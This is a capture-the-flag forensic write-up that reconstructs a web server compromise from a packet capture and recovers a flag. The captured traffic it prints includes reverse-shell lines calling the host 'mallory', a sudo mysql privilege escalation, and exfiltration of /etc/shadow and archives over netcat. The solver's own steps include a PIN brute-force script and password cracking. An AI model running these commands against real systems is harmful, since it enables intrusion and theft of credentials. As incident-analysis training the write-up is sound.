Suspicious communication
🧠Challenge Text¶
Hi, emergency troubleshooter,
one of our web servers has apparently been compromised, analyze what happened from the record of recorded suspicious communication.
Stay grounded!
🎨 Solution¶
Download wireshark tool to analyse the communication. Check post request using filter http.request.method == POST.
Among post requests we can notice /uploads/ws.php with body script
nc -e "/bin/sh mallory 42121".
Continue with running tcp.port == 42121 filter we can spot
$ tshark -r "$pp" -Y "tcp.port == 42121" -T fields -e tcp.payload > payload_42121.hex
$ xxd -r -p payload_42121.hex > payload_42121
$ file payload_42121
payload_42121: ASCII text
$ cat payload_42121.b64
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux 2c1c649ff17d 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 GNU/Linux
whoami
www-data
pwd
/var/www/html/uploads
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 98G 44G 51G 47% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda2 98G 44G 51G 47% /shared
tmpfs 3.9G 0 3.9G 0% /proc/acpi
tmpfs 3.9G 0 3.9G 0% /sys/firmware
tar -zcf /tmp/html.tgz /var/www/html
cat /tmp/html.tgz | nc mallory 42122
sudo -l
Matching Defaults entries for www-data on 2c1c649ff17d:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on 2c1c649ff17d:
(root) NOPASSWD: /usr/bin/mysql*
sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'
exit
Let's get the html.tgz archive
$ pp=~/thecatch2025/suspicious_communication.pcap
$ tshark -r "$pp" -Y "tcp.dstport == 42122" -T fields -e tcp.payload > payload_42122.hex
$ xxd -r -p payload_42122.hex > html.tgz
$ tar xvzf html.tgz
var/www/html/
var/www/html/uploads/
var/www/html/uploads/ws.php
var/www/html/filemanager.php
var/www/html/app/
var/www/html/app/css/
var/www/html/app/css/bootstrap.min.css
var/www/html/app/templates/
var/www/html/app/templates/header.php
var/www/html/app/index.php
var/www/html/app/logout.php
var/www/html/app/admin.php
var/www/html/app/registered.php
var/www/html/app/auth.php
var/www/html/app/backup.php
By now we know the flag location in backup.php
$ cat var/www/html/app/backup.php
<?php
require 'auth.php';
require_auth();
if (!is_admin()) {
http_response_code(403);
die('Access denied. Only admin can create backup.');
}
$flagPath = "/secrets/flag.txt";
$password = current_pass();
if (!file_exists($flagPath)) {
die("Flag file not found.");
}
$flagData = file_get_contents($flagPath);
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);
$encrypted = openssl_encrypt($flagData, 'aes-256-cbc', $key, 0, $iv);
if ($encrypted === false) {
die("Encryption failed.");
}
// NabÃdne soubor k downloadu
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="backup.enc"');
header('Content-Length: ' . strlen($encrypted));
echo $encrypted;
exit;
We need password for admin and backup.enc to get content of /secrets/flag.txt file. The admin pasword is most likely present at server (from which we call mallory endpoints) location /etc/apache2/.htpasswd. The file backup.enc may be found in pcap.
Sneaking for Admin Password¶
$ cat var/www/html/app/auth.php
<?php
session_start();
function require_auth() {
if (!isset($_SESSION['user'])) {
if (!isset($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'])) {
header('WWW-Authenticate: Basic realm="Internal Access"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authentication required';
exit;
}
$username = $_SERVER['PHP_AUTH_USER'];
$password = $_SERVER['PHP_AUTH_PW'];
if (verify_htpasswd($username, $password)) {
$_SESSION['user'] = $username;
$_SESSION['pass'] = $password;
} else {
header('HTTP/1.0 403 Forbidden');
echo 'Invalid credentials.';
exit;
}
}
}
function verify_htpasswd($user, $pass) {
$lines = file('/etc/apache2/.htpasswd', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
list($ht_user, $hash) = explode(':', trim($line), 2);
if ($ht_user === $user) {
if (password_verify($pass, $hash)) {
return true;
} elseif (crypt($pass, $hash) === $hash) { // fallback for legacy crypt
return true;
}
}
}
return false;
}
function current_user() {
return $_SESSION['user'] ?? null;
}
function current_pass() {
return $_SESSION['pass'] ?? null;
}
function is_admin() {
return current_user() === 'admin';
}
As next step let's check sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123' communication to port 42123.
$ tshark -r "$pp" -Y "tcp.port == 42123" -T fields -e tcp.payload > payload_42123.hex
$ xxd -r -p payload_42123.hex > payload_42123
$ file payload_42123
payload_42123.b64: ASCII text
$ cat payload_42123
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
mysql:x:100:101:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
tcpdump:x:102:104::/nonexistent:/usr/sbin/nologin
webmaster:x:1000:1000:,,,:/home/webmaster:/bin/bash
tar zcf /tmp/all.tgz /etc /root /home
curl -k -s https://mallory:42120/pincode/`hostname -f` > /tmp/secret
ls -alh /tmp
total 17M
drwxrwxrwt 1 root root 4.0K Jul 16 08:07 .
drwxr-xr-x 1 root root 4.0K Jul 16 08:05 ..
-rw-r--r-- 1 root root 17M Jul 16 08:07 all.tgz
-rw------- 1 root root 182 Jul 16 08:05 apache2-stderr---supervisor-gvzlqfqv.log
-rw------- 1 root root 0 Jul 16 08:05 apache2-stdout---supervisor-l6ohlz0u.log
-rw-r--r-- 1 www-data www-data 46K Jul 16 08:07 html.tgz
-rw------- 1 root root 0 Jul 16 08:05 mysqld_safe-stderr---supervisor-g6ruwbqj.log
-rw------- 1 root root 135 Jul 16 08:05 mysqld_safe-stdout---supervisor-lct36jfa.log
drwxr-xr-x 2 root root 4.0K Jul 16 08:05 output
-rw------- 1 root root 131 Jul 16 08:05 pcap-stderr---supervisor-cl8n5_cp.log
-rw------- 1 root root 0 Jul 16 08:05 pcap-stdout---supervisor-qrq22yby.log
-rw-r--r-- 1 root root 6 Jul 16 08:07 secret
cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42124
cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42125
exit
We found necessary data to get content of /etc/apache2/.htpasswd. Firstly, we need to deduce password given curl -k -s https://mallory:42120/pincode/hostname -f> /tmp/secret. Probably it is number only pin and from ls -alh /tmp hint is 6 number length.
Extract salted encrypted shadow.enc and all.tgz.enc data.
# extract tcp payload hex for packets with destination port 42124, concatenate
$ tshark -r "$pp" -Y "tcp.dstport == 42124" -T fields -e tcp.payload > payload_42124.hex
# convert hex -> raw bytes (these raw bytes are the base64 ASCII stream)
$ xxd -r -p payload_42124.hex > payload_42124.b64
$ base64 -d payload_42124 > shadow.enc
$ tshark -r "$pp" -Y "tcp.port == 42125" -T fields -e tcp.payload > payload_42125.hex
$ xxd -r -p payload_42125.hex > payload_42125.b64
$ base64 -d payload_42125.b64 > all.tgz.enc
$ file shadow.enc
#output: shadow.enc: openssl enc'd data with salted password
$ file all.tgz.enc
#output: all.tgz.enc: openssl enc'd data with salted password
Getting the encrypted salted data we can start bruteforcing them with 6 digits combination. Sample bash script to test pin in range 000000-999999.
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -lt 1 ]]; then
echo "Usage: $0 <enc-file> [workers]"
exit 1
fi
ENC="$1"
WORKERS="${2:-8}"
OUTDIR="./bf_out_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTDIR"
LOG="$OUTDIR/hits.log"
# detect base64
if head -c200 "$ENC" | grep -qE '^[A-Za-z0-9+/=]{40,}'; then
MODE="-a"
echo "[*] Detected base64-like input; using openssl -a (base64) mode"
else
MODE=""
echo "[*] Detected binary input; using openssl binary mode"
fi
# worker function (will be run via xargs)
test_pin() {
pin="$1"
enc="$2"
out="$3/decrypted_${pin}.bin"
# decrypt; suppress openssl stderr to avoid noise
if openssl enc -aes-256-cbc -d ${MODE} -salt -pbkdf2 -iter 10 -in "$enc" -out "$out" -pass pass:"$pin" 2>/dev/null; then
# basic plausibility checks
if xxd -l 2 -p "$out" 2>/dev/null | grep -qi '^1f8b'; then
echo "$pin gzip" >> "$LOG"
echo "$pin"
return 0
fi
if strings -n 5 "$out" 2>/dev/null | grep -q 'ustar'; then
echo "$pin tar" >> "$LOG"
echo "$pin"
return 0
fi
if strings -n 4 "$out" 2>/dev/null | grep -E '^(root:|[a-z0-9._-]{1,30}:x:[0-9]+:[0-9]+:)' >/dev/null 2>&1; then
echo "$pin shadow" >> "$LOG"
echo "$pin"
return 0
fi
rm -f "$out"
else
rm -f "$out" 2>/dev/null || true
fi
return 1
}
export -f test_pin
export ENC
export MODE
# create pin list and run in parallel
seq -w 000000 999999 > "$OUTDIR/pins.txt"
cat "$OUTDIR/pins.txt" | xargs -n1 -P"$WORKERS" -I{} bash -c 'test_pin "$@"' _ {} "$ENC" "$OUTDIR" 2>/dev/null \
| while read -r found; do
echo "[+] Candidate PIN: $found"
outf="$OUTDIR/decrypted_${found}.bin"
echo "[+] Inspecting $outf ..."
file "$outf"
echo "----- strings preview -----"
strings -n 4 "$outf" | sed -n '1,120p'
echo "[*] Stopping further attempts."
pkill -P $$ xargs || true
exit 0
done
echo "[*] Completed; no plausible PIN found automatically. Check $LOG for any notes."
Run the script to find the password: 101525.
$ ./test.sh shadow.enc 8
[*] Detected binary input; using openssl binary mode
[+] Candidate PIN: 101525
[+] Inspecting ./bf_out_20251017_204939/decrypted_101525.bin ...
./bf_out_20251017_204939/decrypted_101525.bin: ASCII text
----- strings preview -----
root:$y$j9T$zVPzlCqPMzYrtLnKj.SWG.$d5rqQaU42tiE878efwboig8NTo71Eur1Gxmdd1wXnp1:20285:0:99999:7:::
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -in all.tgz.enc -out all.tgz -pass pass:101525 && file all.tgz
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -in shadow.enc -out shadow.dec -pass pass:101525 && file shadow.dec
$ tar xvzf all.tgz
$ cat etc/apache2/.htpasswd
admin:$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.
alice:$1$avlK2Jg5$X7yCik3id/h8yv34Fn1Ri0
bob:$1$IbVRrZNw$zFE9jhxtdx1pHtXpryuGD/
carol:$1$7pgrfayT$ig8zFkSv8Etm3qVA.N/j61
Using rockyou dictionary and john the ripper tool we can crack md5 hash to get admin:Bananas9 login.
$ john --wordlist=~/rockyou.txt --format=md5crypt hash.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Bananas9 (admin)
1g 0:00:02:17 100% 0.007289g/s 82857p/s 82857c/s 82857C/s Barns2004..Baileyb)y
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ openssl passwd -1 -salt h7PCtM2Q 'Bananas9'
$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.
Backup File Attachment¶
To find encrypted backup.enc file we can use filter. However the packet is encrypted with tls1.2 RSA server key. After digging into all.tgz archive we can try etc/ssl/private/ssl-cert-snakeoil.key server key and run
tshark -r "$pp" \
-o "tls.keys_list:0.0.0.0,0,http,etc/ssl/private/ssl-cert-snakeoil.key" \
-o "tls.desegment_ssl_records:TRUE" \
-o "tls.desegment_ssl_application_data:TRUE" \
-o "tcp.desegment_tcp_streams:TRUE" \
-Y "http contains \"backup.enc\"" \
-V
...
[Request URI: /app/backup.php]
[Full request URI: https://server-www/app/backup.php]
File Data: 44 bytes
Data (44 bytes)
0000 61 4f 49 33 32 61 79 4c 49 6f 66 4c 43 58 4c 57 aOI32ayLIofLCXLW
0010 5a 74 7a 6d 64 59 30 37 37 51 31 6a 63 59 55 51 ZtzmdY077Q1jcYUQ
0020 6f 66 37 47 46 42 62 4f 57 48 59 3d of7GFBbOWHY=
...
Grab All Findings to Get the Flag¶
Let's construct the last php script which takes admin password and encrypted backup.enc file to get the FLAG
<?php
$password = 'Bananas9';
$enc = "aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=";
// reproduce derivation exactly
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);
// decrypt
$plain = openssl_decrypt($enc, 'aes-256-cbc', $key, 0, $iv);
if ($plain === false) {
die("Decryption failed\n");
}
echo "Plaintext:\n";
echo $plain;
After running it we have
$ php ~/decrypt_backup.php
Plaintext:
FLAG{kyAi-J2NA-n6nE-ZIX6}